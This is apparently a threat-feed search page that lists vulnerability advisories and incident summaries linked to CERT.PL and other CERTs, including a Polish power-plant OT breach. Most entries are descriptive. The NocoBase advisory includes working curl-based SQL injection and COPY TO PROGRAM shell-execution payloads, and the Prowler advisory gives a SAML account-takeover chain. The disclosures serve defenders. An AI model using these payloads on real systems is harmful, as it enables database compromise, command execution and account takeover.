Search: cert-pl.pl
112 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | Bleeping Computer In late 2025, a small combined heat-and-power (CHP) plant in Poland was breached by attackers using a private APN to access its operational technology (OT) network. The attackers exploited a misconfiguration that allowed devices within the private APN network to communicate freely, enabling lateral movement. They compromised a FortiGate VPN/firewall and a Teltonika cellular router to tunnel into the private APN, then accessed a WAGO PFC200 PLC with default credentials. The attackers subsequently disabled key systems including a steam turbine and water treatment system by switching PLCs to STOP mode and activating password protection. The outage was short-lived and did not impact the population. This incident is notable as the first known real-world cyberattack leveraging lateral movement through a private APN to reach OT networks. The Polish CERT recommends treating private APNs as untrusted external networks and implementing client isolation and traffic allowlists. | Bleeping Computer | |||
| Critical | – | EPSS 0.5% | CriticalEPSS 0.5%CERT/CCCVE-2026-18412 OpenCart version 4.2.0.0 contains a directory traversal vulnerability in its extension installer. The installer extracts uploaded .zip extension files without validating that extracted paths remain within the intended directory. This allows an attacker who can upload a malicious extension to write files outside the intended directory, such as placing a PHP web shell in the webroot. Exploitation requires valid administrator credentials to install the malicious extension. No patch is currently available, and users are advised to avoid installing untrusted extensions and to run OpenCart with minimal privileges. | CERT/CC | ||
| –Not rated | – | Reddit Cybersecurity The Certified Desktop Application Pentester (CDAPen) is an intermediate-level certification exam focused on practical skills in desktop application penetration testing, particularly thick client applications. It covers exploitation of vulnerabilities aligned with the OWASP Desktop Top 10, including reverse engineering, authentication bypass, binary and memory manipulation, and cryptographic weaknesses. The exam is a 4-hour hands-on test taken online, requiring candidates to demonstrate real-world pentesting skills. It is intended for pentesters, security architects, SOC analysts, and security enthusiasts with prior experience. There is no indication of a security vulnerability or threat associated with this certification itself. | Reddit Cybersecurity | |||
| –Not rated | – | SecurityWeek CERT.PL said this appears to be the first instance of a private APN being used as an attack vector. The post Novel Private APN Pivot Let Hackers Sabotage Second Polish Energy Facility appeared first on SecurityWeek . | SecurityWeek | |||
| High | 7.1 | EPSS 0.2% | CVE-2026-18497VU#987105: The nothings stb TrueType library, up to version 1.26, contains a heap buffer overflow vulnerability High7.1EPSS 0.2%CERT/CCCVE-2026-18497 A heap-buffer-overflow vulnerability exists in the nothings stb TrueType library, up to version 1.26, that is used for parsing TrueType font files. The vulnerability exists in the stbtt__GetGlyphShapeTT() function within the nothings stb_truetype.h library when parsing malformed TTF (TrueType Font) files. The vulnerability resides in the glyph data parsing path. An attacker can craft a malformed TTF file with an inflated endPtsOfContours value and truncate the remaining glyph data. When an application utilizing stb_truetype.h (such as various game engines or graphics software) attempts to load, bake, or render this malformed font via stbtt_GetGlyphShape(), the parser will attempt to read past the end of the glyph data buffer, triggering the out-of-bounds read. | CERT/CC | ||
| Medium | 6.5 | EPSS 0.5% | Medium6.5EPSS 0.5%CERT/CCCVE-2026-16637 OPeNDAP Hyrax contains a Server Side Request Forgery (SSRF) vulnerability that allows attackers to bypass allowed hosts restrictions via unvalidated HTTP redirects. This can cause the application to communicate with unauthorized internal or external systems. Additionally, user authentication headers, including a legacy Echo-Token credential, may be leaked to attacker-controlled endpoints during these redirects. Exploitation could enable unauthenticated attackers to access internal services and disclose credentials of authenticated users. A fix addressing these issues was released in Hyrax version 1.18.0. Until patched, administrators are advised to restrict gateway exposure to trusted networks. | CERT/CC | ||
| Critical | 10.0 | EPSS 0.9% | Critical10.0EPSS 0.9%GCVE DatabaseCVE-2026-52887 ## Summary `GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously. The injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=<expression>`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads. The shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM '...'` therefore runs shell commands as `uid=999(postgres)` inside the database container. Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in. ## Affected NocoBase server, `@nocobase/plugin-notification-in-app-message` `<=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`). `@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role. ## Root cause `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast. `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow('myInAppChannels', '*', 'loggedIn')` exposes every action on the resource to every authenticated role, including the seeded `member`. `packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement. `docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'` returns `true`). The `pg` driver simple-query accepts stacked statements. ## Reproduction Tested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`. 1. Anonymous sign-up, then sign-in for a `member` JWT. ``` curl -X POST -H 'Content-Type: application/json' \ -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signUp?authenticator=basic TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"account":"a","password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token) ``` 2. Time-based oracle confirms injection. Each request below takes ~5 seconds. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a" ``` 3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --" docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt # uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) ``` Live-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`. Reproduced 2026-05-26 against HEAD `e35a2737`. ## Impact - Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query). - Arbitrary row read of any collection, including `use | GCVE Database | ||
| High | 7.0 | EPSS 0.8% | CVE-2026-66723CERT.PL MWDB Core · Missing Authorization High7.0EPSS 0.8%CVE Database V5CVE-2026-66723 MWDB Core versions >=2.2.0 and <2.19.0 contain a missing authorization vulnerability in the Remote Instances proxy API. The proxy API does not verify authentication for incoming requests, allowing an unauthenticated remote attacker to send arbitrary requests to a remote MWDB instance using the identity and permissions associated with the configured API key. This can result in unauthorized actions being performed on the remote instance as if executed by the user whose API key was used to set up the remote instance. The vulnerability is limited to deployments where Remote Instances have been configured.This issue has been fixed in version 2.19.0 | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-66724CERT.PL MWDB Core · Missing Authorization Medium5.3EPSS 0.4%CVE Database V5CVE-2026-66724 MWDB Core versions >=2.0.0 and <2.19.0 contain a missing authorization vulnerability in the deprecated config and blob upload endpoints. These endpoints accept the undocumented POST method, which bypasses the capability checks applied to the documented PUT method. This allows any authenticated user without the adding_configs or adding_blobs capabilities to upload config and text blob objects to the system. The impact is limited to adding new config and blob objects. This issue has been fixed in version 2.19.0 | CVE Database V5 | ||
| –Not rated | – | Bleeping Computer Ukraine's CERT has uncovered attacks distributing an archive containing the legitimate Notepad++ application and a malicious utility called LunchPoke disguised as a plugin to establish persistence. [...] | Bleeping Computer | |||
| Critical | – | EPSS 0.5% | CVE-2026-15611VU#492466: Logto Identity Platform has authentication and authorization failures in core protocol handling CriticalEPSS 0.5%CERT/CCCVE-2026-15611 The Logto Identity Platform contains multiple vulnerabilities in its authentication and single sign-on (SSO) components that weaken core identity protections. These flaws allow attackers to bypass account-ownership checks, skip multi-factor authentication (MFA), replay federated sessions, and submit identity assertions without proper validation. The issues affect OIDC, OAuth 2.1, and SAML protocols and create several paths for unauthorized access in both local and federated sign-in flows. No vendor patch or statement is currently available, and mitigation relies on defensive configurations and operational controls. EPSS 0.5%Vulnerability | CERT/CC | ||
| Medium | 4.4 | EPSS 0.6% | CVE-2026-15786WP Encryption – Lifetime Free SSL Cert & HTTPS, Force SSL / HTTPS Redirect, SSL Security · Path Traversal Medium4.4EPSS 0.6%CVE Database V5CVE-2026-15786 The WP Encryption – One Click Free SSL Certificate & SSL / HTTPS Redirect, Security & SSL Scan plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 7.8.6.6 via the 'imploded' parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. Although file write content is passed through esc_html(), which encodes angle brackets and prevents direct PHP execution, plaintext configuration files such as .htaccess are fully writable and exploitable for denial-of-service or redirect attacks. This is only exploitable when the premium version of the software is enabled and active. | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | CVE-2026-14586Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update Medium5.9EPSS 0.4%GCVE DatabaseCVE-2026-14586 This update for unbound fixes the following issues: Update to version 1.25.2. Security issues fixed: - CVE-2026-14586: DoS via assertion in `libngtcp2` for DNS-over-QUIC environments with high concurrency (bsc#1271879). - CVE-2026-32665: Remote DNS-over-QUIC denial of service due to `quic-size` budget bypass (bsc#1271873). - CVE-2026-40691: DoS due to heap overflow via single bad DNSCrypt query over TCP (bsc#1271875). - CVE-2026-41637: Degradation of resolution service due to improperly accounted client-terminated DNS-over-QUIC queries (bsc#1271891). - CVE-2026-42955: Ghost domain window can be extended by up to one cached TTL configured value for A/AAAA glue records (bsc#1271892). - CVE-2026-44621: Libunbound applications configured with `unwanted-reply-threshold` could eventually be abruptly terminated (bsc#1271876). - CVE-2026-44687: Off-by-one error in `harden-below-nxdomain` logic can shadow a stub/forward zone by a legitimate parent's `NXDOMAIN` (bsc#1271893). - CVE-2026-44690: Cross-zone wildcard cache poisoning via `RRSIG.labels` manipulation (bsc#1271877). - CVE-2026-46582: Replay of a wildcard `rrset` as another piece of data triggers poisoning in the server expired reply path (bsc#1271894). - CVE-2026-50045: `max-global-quota` bypass via single client queries for a deeply nested name under a DNSSEC-signed parent (bsc#1271878). - CVE-2026-50046: Possible heap use-after-free in an error path when a DoT forwarded query is jostled out (bsc#1271882). - CVE-2026-50243: `response-ip`/`rpz` can rewrite BOGUS answers instead of returning SERVFAIL (bsc#1271880). - CVE-2026-50248: BOGUS configured primary hostname accepted for XFR in auth/rpz zones (bsc#1271881). - CVE-2026-50251: Attacker supplied `0.0.0.0`/`::` glue triggers defensive full-cache flush (bsc#1271883). - CVE-2026-50252: Possible cache poisoning attack by mapping source port population per thread (bsc#1271884). - CVE-2026-54478: DNS Cookie bypass when proxy-protocol with with `answer-cookie:yes` is used (bsc#1271895). - CVE-2026-55708: Privacy/configuration issue when adding local data in views through `unbound-control` (bsc#1271896). - CVE-2026-55717: `serve-expired-client-timeout` and `response-ip` CNAME redirect could lead to a crash (bsc#1271886). - CVE-2026-55973: DoS due to stack overflow triggered crash when `dns-error-reporting: yes` is set (bsc#1271874). - CVE-2026-55990: Crash via crafted client UDP query due to DNSCrypt faulty configuration (bsc#1271887). - CVE-2026-55991: Remote DNS-over-QUIC (DoQ) flow-control reacheable assertion failure in `libngtcp2` (bsc#1271888). - CVE-2026-56416: Possible heap buffer overflow when validator canonicalizes RDATA that contains domain name (bsc#1271889). - CVE-2026-56444: Degradation of resolution service when `discard-timeout` and `serve-expired-client-timeout` are combined in unusual configuration (bsc#1271890). Other updates and bugfixes: - Version 1.25.2: + Features: * TTL behavior changes: cached records reaching TTL 0 are expired; TTL 0 upstream answers are no longer cached by cachedb; serve-expired-reply-ttl is now capped by the original TTL value; TTL decoding updated to adhere to RFC 8767 section 4 * Add new statistics: num.queries.replyaddr_limit and requestlist.current.replies * Add 'log-thread-id' configuration option to log the system-wide Linux thread ID for easier debugging * Add ECC-GOST12 support per RFC 9558 (available as contrib/gost12.patch) * Allow synthesized DNAME TTL=0 to be served from cache within a 1-second grace period, reducing recursion for TTL=0 DNAMEs (RFC 2308) * Fix DoT/DoH/DoQ to reload certificates on config reload without requiring a full restart; fast_reload now supports changes to tls-service-key, tls-service-pem and tls-cert-bundle * Allow ip@port notation in control-interface configuration * Add iter-scrub-rrsig option (default: 8) to limit the number of RRSIGs processed by the scrubber * Add 'tls-protocols' configuration option to select which TLS protocol versions are used; TLSv1.2 is re-enabled by default * Add pthread_setname_np support for named threads + Bug Fixes: * Fix handle leak in pythonmod on pythonmod_init * Fix crash when mesh_detect_cycle_found() is called with no mesh state * Fix modstack_call_init to use the original string when it has changed * Fix fr_atomic_copy_cfg * Fix auth-zone empty label for $ORIGIN when downloading via HTTP * Fix respip and dns64 to be usable simultaneously; RPZ now works with DNS64 * Fix HTTPS and QUIC not being enabled when port is listed in interface-automatic-ports * Allow wait-limit-cookie: 0 to disable cookie-validated wait limits * Fix FIPS mode in OpenSSL causing unit test failure * Fix discard-timeout to only drop UDP, not stream connections * Reply with SERVFAIL when the wait-limit is exceeded * A | GCVE Database | ||
| Critical | 9.4 | EPSS 0.9% | Critical9.4EPSS 0.9%CVE Database V5CVE-2026-16242 A flaw was found in the Konnectivity proxy-server configuration for hosted control planes. The agent-facing listener was started without --cluster-ca-cert (and without token-based agent authentication), so client certificates were not validated. A remote attacker who can reach the Konnectivity cluster endpoint could connect as an unauthenticated agent, join the routing pool, and potentially proxy, inspect, modify, or drop control-plane-to-node traffic. EPSS 0.9%Vulnerability | CVE Database V5 | ||
| –Not rated | – | Community Curated This article provides a detailed analysis of the recent cyber attack involving the Kudankulam Nuclear Power Plant, focusing on a data breach via a third-party contractor's server. It outlines the scope of leaked files, the ransomware group responsible, and NPCIL's official response emphasizing that critical nuclear safety systems were not compromised. The report highlights supply chain risks and ongoing investigations by CERT-In. | Community Curated | |||
| Critical | 9.2 | EPSS 0.7% | CVE-2026-13014Thales CERT Suspicious · Path Traversal Critical9.2EPSS 0.7%CVE Database V5CVE-2026-13014 A vulnerability in Thales CERT "Suspicious" application =< 1.3.4 allows a remote and unauthenticated attacker to execute arbitrary code and arbitrarily overwrite writable application files—including Python modules, configuration files, cron inputs, and runtime artifacts—leading to a persistent denial of service, the potential compromise of application secrets or integrations, and root-level execution inside the Django application container. This vulnerability has been names "Matryoshka Mail". Thales PSIRT acknowledges and thanks Lucien Doustaly (aka wlayzz) for discovering and reporting this issue. | CVE Database V5 | ||
| Critical | 9.6 | EPSS 0.5% | CVE-2026-59151prowler · Improper Authentication Critical9.6EPSS 0.5%CVE Database V5CVE-2026-59151 ## SAML Tenant Binding Enables Cross-Tenant Account Takeover ### Summary Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain. In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant. The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because `SAMLConfiguration.email_domain` and `SAMLDomainIndex.email_domain` are globally unique. ### Details The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain: ```python email_domain = user.email.split("@")[-1] tenant = ( SAMLConfiguration.objects.using(MainRouter.admin_db) .get(email_domain=email_domain) .tenant ) ``` This is unsafe because `user.email` is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain. The attack is made possible by several compounding weaknesses: 1. **No domain ownership proof** (`api/src/backend/api/models.py:2100, 2130-2152`): `SAMLConfiguration.email_domain` is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant. 2. **Global SAML domain index** (`api/src/backend/api/models.py:2200-2201`): `SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant})` maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route. 3. **Hardcoded auto-connect** (`api/src/backend/config/settings/social_login.py:23, 25`): `SOCIALACCOUNT_EMAIL_AUTHENTICATION = True` and `SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True` are hardcoded and cannot be disabled at runtime. 4. **IdP-initiated SSO enabled** (`api/src/backend/config/settings/social_login.py:78`): `reject_idp_initiated_sso: False` allows the attacker to initiate the flow without requiring any action from the victim. 5. **Token issuance for the wrong tenant** (`api/src/backend/api/v1/views.py:853-873`): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a `SAMLToken` using a tenant derived from the asserted email domain instead of the validated SAML configuration. 6. **Token switch impact** (`api/src/backend/api/v1/serializers.py:272`): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member. ### PoC **Environment setup:** ```bash # Build the PoC Docker image (build context = repo root) docker build -t vuln001-poc -f vuln-001/Dockerfile . # Start the stack (PostgreSQL + PoC runner) docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit ``` **Automated test (runs inside the container):** ```bash python -m pytest poc_vuln001.py -v -s --no-header --tb=short ``` **Manual HTTP exploitation chain (against a live Prowler API):** **Step 1 - Attacker configures SAML for their own email domain:** ```bash curl -i -X POST "$API/api/v1/saml-config" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{"type":"saml-configurations","attributes":{ "email_domain":"attacker.com", "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>" }} }' ``` The attacker does not need to claim `victim.com`. If `victim.com` is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique. **Step 2 - Attacker posts a signed SAMLResponse asserting `user@victim.com`:** ```bash # SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key, # valid for the attacker's configured IdP, but asserting NameID = user@victim.com curl -i -L -c c.jar -b c.jar \ -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \ --data-urlencode "SAMLResponse=$SIGNED_ASSERTION" ``` **Step 3 - Vulnerable ACS finish logic derives | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General Mustang Panda orchestrated two concurrent espionage campaigns targeting Indian government entities and hydropower infrastructure between May and June 2026. The campaigns leveraged DLL sideloading via legitimate executables to deploy newly identified malware including SHARDLOADER, MINIRECON, and ZOHOMURK. MINIRECON represents an evolution of Toneshell with WebSocket-based command-and-control capabilities, while ZOHOMURK abuses Zoho WorkDrive cloud services for C2 communications and data exfiltration. Distribution occurred through spear-phishing with lures themed around India-Taiwan cooperation agreements and hydropower projects. The activity demonstrates code overlaps with previous tooling, infrastructure proximity to known operations, and targeting patterns aligned with Chinese strategic intelligence collection priorities. Multiple compromised government systems were identified, with coordination conducted through CERT-In for victim notification and remediation. | AlienVault OTX General | |||
| Critical | 9.3 | EPSS 0.2% | Critical9.3EPSS 0.2%CVE Database V5CVE-2026-46423 Rocket.Chat is an open-source, secure, fully customizable communications platform. Prior to 8.5.0, 8.4.1, 8.3.3, 8.2.3, 8.1.4, 8.0.5, 7.13.7, and 7.10.11, Rocket.Chat's SAML service provider implementation silently skips both SAML Response and Assertion signature validation when the configured IdP certificate field is empty. The verifySignatures routine performs an early return when serviceProviderOptions.cert is falsy, which is the default state of the setting. Because provider registration only gates on the SAML "enabled" toggle and not on the presence of a certificate, an administrator who enables SAML without pasting an IdP certificate obtains a fully wired, publicly reachable SAML login endpoint that accepts unsigned or attacker-supplied assertions. This is a default-configuration authentication-bypass class: the fail-open branch is reached with no misconfiguration beyond leaving a field at its shipped default. This vulnerability is fixed in 8.5.0, 8.4.1, 8.3.3, 8.2.3, 8.1.4, 8.0.5, 7.13.7, and 7.10.11. | CVE Database V5 |
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